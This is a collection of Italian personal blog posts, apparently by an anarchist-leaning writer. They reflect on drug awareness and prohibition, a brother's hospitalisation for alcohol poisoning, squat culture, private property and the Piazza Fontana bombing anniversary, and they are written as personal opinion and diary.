Il 270 è tristemente famoso, con i suoi bis, tris e quater che nell'81 ancora non esistevano.
*continua nn appena ho voglia di battere al pc i miei appunti su carta* Continue reading


l’alcol non disinfetta…

avevo quasi elaborato l'idea di eliminare questa categoria, il mio corpo attraversa cicli e fasi e, se ci sono momenti in cui cinque bicchieri mi rimangono ad appesantire la testa per ventiquattr'ore, ve ne sono altri in cui posso permettermi i mix e gli abusi più sfrenati senza patirne troppo.
eppure, dicevo, mi ritrovo ugualmente a confezionare post da relegare in questa sezione molto baudelairesca, o , forse solo terribilmente triste.
a dir la verità, però, dovrei fare una piccola correzione al nome: malessere alcolico (degli altri).
l'utilizzo di sostanze psicotrope e psicoattive in generale, penso abbia sempre accompagnato l'uomo, naturalmente in forme ed usi diversi, magari veicolate da riti millenari o da stupide leggi proibizioniste. l'alcol è un prodotto culturale, forse inscindibile dalla cultura della nostra terra. penso che la parola "droga" debba essere rivista e studiata attentamente, mi fa ridere porre come limite della pericolosità la legalità. normalmente non amo svarionare troppo e difficilmente ricorro a sostanze da psiconauti, ma
ciò non vuol dire, affatto, che veda questo mondo  colorato dalle tinte fosche e cupe di legislatori di uno stato mammone che nemmeno sanno ciò di cui stanno parlando.
soprattutto penso che non siano le sostanze, ciò contro cui occorra scagliarsi. penso che occorra scavare un po' di più, dar la possibilità di rendersi consapevoli di ciò che si sta facendo, di assaporare ogni goccio, grammo o cos'altro di ciò che si sta assumendo. censurare siti come psicoattivo, al di la del fatto che io odi la censura in se', ennesimo tentacolo di uno stato etico, non può che portare lontano dall'obiettivo. i motivi che possono invogliare ad alterare il proprio stato mentale sono i più svariati, e svariate sono le coincidenze che possono portare a scegliere una sostanza piuttosto che un'altra. non sto dicendo che la tossicodipendenza non esista, non sto parlando di questo, non mi riferisco a processi chimici, parlo della necessità della consapevolezza. dal bisogno immediato di abbattere questo tabu, di eliminare l'ipocrisia che pervade l'argomento. non sto neanche negando la presenza di fattori sociali o culturali che possono impedirla, o di ragioni psicologiche che possono condurre al volersi allontanare della realtà. il mio discorso non è questo, penso che individuare le reali ragioni che muovono tutte le nostre azioni sia difficile e complesso se non lo si vuol fare applicando stupidi stereotipi moralisti. penso invece che occorra prendersi gli strumenti per capire cosa si sta facendo, per poterlo apprezzare maggiormente e, per non farsi schiavizzare da una sostanza. non che ciò sia forse possibile laddove sopraggiungono elementi chimici, ma sicuramente anche il fattore psicologico non gioca un ruolo secondario. e poi se decido, cazzi miei, l'importante è che abbia avuto gli strumenti adatti per capire verso cosa andavo incontro. ma non un'informazione distorta e fasulla, che indica in uno spinello il male e mostra qualsiasi altra sostanza come l'anticamera della tomba, una distorsione che salva solo l'alcol perchè culturalmente accettato in una terra dove da secoli se ne fa uso.
anche il cibo, le emozioni, l'attività fisica agiscono sulla psiche modificandone a livello chimico gli equilibri, la lucidità può essere offuscata da fattori che hanno ben poco a che fare con l'assunzione di stupefacenti. eppure, se gli psicofarmaci vengono abbondantemente prescritti e somministrati (anche laddove sono il braccio forte dell'inquadramento obbligato, si veda anche solo il caso del Ritalin) le sostanze che si decide automamente di assumere devono essere per principio negate. magari è vero, non se ne ha la competenza per stabilire gli effetti, ma chi la possiede? gran parte dei medici viaggia nella nebbia per quanto riguarda questo panorama e le poche risorse in circolazione vengono ostacolate con ogni mezzo possibile.
conoscere ciò che si sta per fare, per essere consapevoli e, soprattutto, per non lasciarsi piegare da nessuno e niente, credo sia il primo punto, quello fondamentale.
detto questo, buon trip a tutti.

ps: stavo dicendo, malessere alcolico degli altri. eh, già, mi sono ritrovata a trascorrere sabato notte in ospedale, accanto ad un corpo che non rispondeva ad alcuno stimolo, che non reagiva a nulla, sbiancato con le pupille fisse e dilatate, con i cuore rallentato.
me la immaginavo, in effetti, quella cortina spessa che lo divideva dalla realtà, che non gli permetteva di sentire le voci, così distanti dall'universo ovattato in cui si ritrovava rinchiuso e di recepire gli stimoli, che anastetizzava, piacevolmente, il dolore, fossero anche schiaffi e punture. sì, mio fratello è stato trovato nel giardino di una festa a cui si era imbucato, a terra che vomitava e non reagiva. incoscienza mediata da litri di alcol e da un'alcolemia che degenera nell'encelopatia acuta. e subito ad accusare chi, ad un party per i diciott'anni aveva portato birre ed alcolici, chi aveva permesso che li bevessero. non è questo il problema, il fatto è che in questa società basata così tanto sulla delega, si è così poco abituati a pensare che le nostre azioni hanno effetti e siamo noi che possiamo determinarle. è la consapevolezza di noi stessi che manca, è la libertà dell'individuo. non è togliendola che si impara a gestirla, è avendola che si può regolare. sarei la prima, anzi sono stata la prima, a portare alcol e altro abusivamente, laddove non erano permessi e so che non è il divieto legale che ti invoglia a ragionare, a regolarti. è, invece, l'apertura di tutte le possibilità che mi invita a pormi al centro e a pensare con la mia testa a cosa sto facendo. Continue reading


autoproduzioni

caselli nella nebbia di cinquecento chilometri di pianura padana. trasferta per due giorni di autoproduzioni, tra squat che assomigliano a csa ti manca la bellavita e ti fa ridere il barista che chiede se le birre che sporgo siano da mettere da parte, go vegan imperante, con maiali da compagnia che grugniscono il mattino ed api che vengono barbaramente uccise, mangiando pane e salsiccia. divisione dei mondi anche a casa d'altri, con madri che parlano di abitazioni "regolari", offrono thè ed invitano a rivitalizzare tenute di collina, condite di ripetizioni e messe.
gli occhi aperti nella metro scintillante, incrociare volti conosciuti su percorsi estranei. il bello della casualità imprevedibile, un barolo da venti euro, un brunello da trenta ed un furgone che si ferma ad una barriera di péage, senza nottolino per le chiavi d'accensione. paris combo a tagliare la nebbia dell'autostrada dritta, verso lo sconosciuto improvvisato. un sacco a pelo dentro una roulotte, accanto ad una stufetta spenta, ma una pasta ai pomodorini secchi ti fa sentire a "casa" se mangiata dopo le tre di pomeriggio.
riflessioni sul mondo che forse mai verrà, sulla "realtà liberata" di poi, pensando a quella in cui si vive, tra lotte e compromessi. ed il tempo che si dilata, lunedì è lontano anche se è oggi, odore di gas nelle narici e freddo che è caldo. una scadenza per il diciasette che non mi fa sorridere, una tesina di merda da consegnare, peccato prima sia da battere su questi tasti che ora è così semplice accompagnare. conoscere, capire, aprirsi, scoprire, viaggiare, stare insieme.
ops, mi sono scordata di dormire! Continue reading


amara proprietĂ 

ipoglicemia risolta con pagine alla melassa, romanzetti in tipico stile zuccheroso ed assai insipido, perchè Welsh, Ammaniti, Tawfik e Bukowski sono troppo geniali per una mente persa dietro ai bacetti ed alle happy ends, che non sa spiegarsi perchè si alza canticchiando la vie en rose in un mondo di barbe-à-papa.
che poi sia uno scudo contro l'inquietudine precaria è evidente, questo volersi avvicinare le ciglia e lasciarsi andare con le palpebre chiuse rispetto a buio che c'è fuori. non sono i nemici ben evidenti a farmi paura, è il subdolo che non so come affrontare, è quando senti di gente che si ammala e muore giorno dopo giorno, senza che nessuno possa fare nulla ed anche le pasticche che gli hai prescritto non sono servite a niente. paranoia per vivere in una casa troppo grossa, con la consapevolezza di non aver fatto niente per meritarmela e complessarmi perchè darei ragione a chiunque volesse entrare per rubarci qualcosa, anche se ho paura. una paura colpevole, senza le false sicurezze di leggi assassine che permetterebbro anche di uccidere chi varca la soglia alla ricerca di un pezzo di pane a cui, sicuramente, non ha meno diritto di me. eppure, mi trovo a sbarrare il cancello e svegliarmi di soprassalto la notte. perchè uno spazio occupato lo difenderei con le unghie e con i denti, ma la proprietà privata proprio non ce la faccio, non riesco a capire il perchè debba essere "mia". quasi cadessi nel trip di ritrovarmi davanti agli occhi qualcuno che conosco e chiederci reciprocamente "e tu che ci fai qui?".
non ho lottato per queste mura, non ho mai mosso un dito e mi sembra evidente che non riesca a sentirle mie, a pensarle in mio possesso, solo un'odiosa proprietà che, per ora, non mi appartiene neanche.
su un materasso unto e bucato, dentro un sacco a pelo, sotto una a cerchiata nera ed arancione, non ho mai avuto problemi ad addormentarmi, anche sentendo il vento che scuoteva i rami e le porte. mi trovo disarmata, ma non voglio sentirmi incoerente.
ma non annego per quello nello sciroppo di glucosio, è che, le contraddizioni mi lasciano spazio per immaginarmi vicino a qualcuno che per qualche giorno ancora è lontano da qui, due settimane non mi sono mai sembrate così lunghe, ed è per esorcizzare il timore che quelle migliaia di chilometri vengano sostituite da una ventina, senza che cambi nulla che cerco false sicurezze in libretti da quattro soldi e sorrido davanti a Wanda the Fish che mi predice, in un'ubuntu incriccata, love affairs in arrivo. so che nulla dipende dai bytes impazziti di una linux zoppicante, ma mi sembra tutto così poco razionale… Continue reading


OGGI COME 38 ANNI FA, fasci all’attacco noi alla sbarra

mi sveglio pensando al calore del pronome "noi", a come ti avvolge senza schiacciare la tua individualità, poichè ne è una continua estensione. che poi, senza sfociare in tante teorie socioantropologiche o similia, è anche il noi rincorso quando apri gli occhi con in testa qualcuno

ed il noi è anche vedere, sfogliando gli ultimi titoli dei post su noblogs, che c'è chi non vuole dimenticarsi del 12 dicembre, perchè oggi, sempre che si ricordi la data, si è convinti che a mettere la bomba siano state le brigate rosse. forse le stesse che hanno ucciso Enzo Biagi secondo mia sorella ("ma come fa a tornare in tele se è stato assassinato?"). e davvero, anche se il riso sale spontaneo, la rabbia brucia. ribolleil sangue nel vedere com'è stata efficace la propaganda di uno stato fascista ed assassino. perchè a fare saltare in aria la sede di Piazza Fontana non sono state ne' le BR, ne', tantomeno, il Pinelli trucidato da una spinta oltre la finestra del commisariato, ma chi vedeva la necessità di ristabilire l'ordine fascista e statale (perchè checchè ne dicano stalinisti e compagnia bella, lo stato, in quanto autorità e gerarchia non può non essere fascista). e che c'è di meglio se non una montatura mortale per un golpe? tanto, la sicurezza dell'impunità per i fascisti è certa, è scoraggiante dirlo, ma lo dimostrano i fatti. uno Zorzi (autore dell'esecuzione pratica dell'attentato del 12 dicembre) emigrato sotto copertura in giappone come famoso stilista -e lo è tutt'ora-, un Pinochet che non solo ha dovuto attendere la morte naturale a 91 anni (ma si sa i ricchi vivono più a lungo) senza dover ne' pagare tutto, ne' caro per le bestialità commesse ed ordinate, un Placanica eletto nelle file dei politici, ed i compagni in galera perchè attaccati dai fasci. non nego che si mischino piani che apparentemente nulla hanno a che fare gli uni con gli altri, ma un fil rouge c'è, e neppure tanto nascosto. è vero che ci sono fatti che bruciano sulla mia pelle, perchè i posti e le persone attaccate fanno parte della mia vita quotidiana, ma ciò non può sminuire una rabbia per fatti che sono veri e concreti, indipendentemente da quanto mi toccano. certo, manifestazioni a diversi livelli di schifi progressivamente maggiori, ma ciò non vuol dire che non siano comunque merda. perchè se dei fascistelli attaccano uno squat, a subire le denunce è chi cerca di difendersi, così da fare precedente e finire una settimana in galera ed ai domiciliari per una rissa…mentre sotto gli occhi degli sbirri, i loro simili, guardano divertiti ad una fermata di un bus.
 [continua…]
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venaus bellavita

scintille come effimere ad illuminare la notte, mosse dal vento, spegnendosi nella loro brillantezza sul ramo spoglio di qualche albero di montagna

cielo limpido e terso con i capelli nel vento fresco, un vecchio ed una fisarmonica e le giovani che ballano

un vin brulé al peperoncino e salvia, variante su un tema immortale per ristoro e alcol
fagioli e salsiccia, caldo di una giacca e di una parola
tra le pentole in una panda
ridendo in un benessere disinteressato, di tempi andati tra biciclette rubate, squat sgomberati e chilometri sotto la neve
felicità palpabile, senza ragioni

distante più nei chilometri che nel tempo dall'arancione di lampioni di periferia, sguardi vuoti fissati sui semafori lampeggianti, con una brioche fredda in mano. e le triple corsie delle strade verso la prima cintura, troppo ampie, come se fossero troppi i centimetri tra chi è il volante e chi vicino, come se un abisso impedisse la comprensione a sguardi
ma in una mattina tra i campi e le montagne con le ruote sgonfie ed i pedali fuori asse, in un azzurro senza macchia, è evidente che il tempo sia passato
fortunatamente. Continue reading